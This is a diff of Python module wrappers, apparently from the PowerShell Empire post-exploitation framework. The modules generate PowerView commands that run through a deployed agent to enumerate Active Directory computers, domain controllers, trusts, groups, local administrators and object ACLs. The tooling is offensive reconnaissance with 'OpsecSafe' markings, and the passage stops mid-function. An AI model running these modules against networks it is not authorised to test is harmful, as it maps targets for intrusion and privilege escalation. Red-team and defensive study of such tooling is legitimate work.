},
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,128 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetComputer',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for current computer objects. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Printers' : {
|
||||
'Description' : 'Switch. Return only printers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : "Switch. Return full computer objects instead of just system names (the default).",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,99 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainController',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the domain controllers for the current domain or '
|
||||
'the specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP queries to determine the domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,99 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainTrust',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domain trusts for the current domain or '
|
||||
'a specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,88 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetForestDomain',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domains for a given forest. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Forest' : {
|
||||
'Description' : 'The forest name to query domain for, defaults to the current forest.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,11 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetComputer',
|
||||
'Name': 'Get-NetGPO',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for current computer objects.'),
|
||||
'Description': ('Gets a list of all current GPOs in a domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,28 +35,28 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Switch. Return full user computer objects instead of just system names.',
|
||||
'GPOname' : {
|
||||
'Description' : 'The GPO name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : 'Switch. Only return hosts that respond to ping.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'DisplayName' : {
|
||||
'Description' : 'The GPO display name to query for, wildcards accepted. ',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -75,8 +75,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetComputer.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -87,9 +89,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetComputer "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -99,5 +102,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,118 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetGroup',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Gets a list of all current groups in a domain, or all the groups a given user/group object belongs to. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The group name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SID' : {
|
||||
'Description' : 'The group SID to query for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'The user name (or group name) to query for all effective groups of.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Return full group objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,118 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetGroupMember',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the members of a given group, with the option to "Recurse" to find all effective group members. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The group name to query for users.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SID' : {
|
||||
'Description' : 'The Group SID to query for users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Return full group objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If the group member is a group, recursively try to query its members as well.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -10,7 +10,7 @@ class Module:
|
|||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns a list of all current users in a specified local group '
|
||||
'on a local or remote machine.'),
|
||||
'on a local or remote machine. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -34,16 +34,21 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostName' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'The hostname or IP to query for local group users.',
|
||||
'Required' : False,
|
||||
'Value' : 'localhost'
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The local group name to query for users.',
|
||||
'Description' : 'The local group name to query for users, defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : 'Administrators'
|
||||
},
|
||||
'ListGroups' : {
|
||||
'Description' : 'Switch. List all the local groups instead of their members.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.',
|
||||
'Required' : False,
|
||||
|
@ -64,8 +69,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetLocalgroup.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -76,9 +83,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetLocalGroup "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -87,8 +95,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += "| Out-String"
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,133 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ObjectAcl',
|
||||
|
||||
'Author': ['@harmj0y', '@pyrotek3'],
|
||||
|
||||
'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SamAccountName' : {
|
||||
'Description' : 'Object SamAccountName to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Name' : {
|
||||
'Description' : 'Object Name to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DistinguishedName' : {
|
||||
'Description' : 'Object distinguished name to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ResolveGUIDs' : {
|
||||
'Description' : 'Switch. Resolve GUIDs to their display names.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSprefix' : {
|
||||
'Description' : 'Prefix to set for the searcher (like "CN=Sites,CN=Configuration")',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'RightsFilter' : {
|
||||
'Description' : 'Only return results with the associated rights, "All", "ResetPassword","ChangePassword","WriteMembers"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
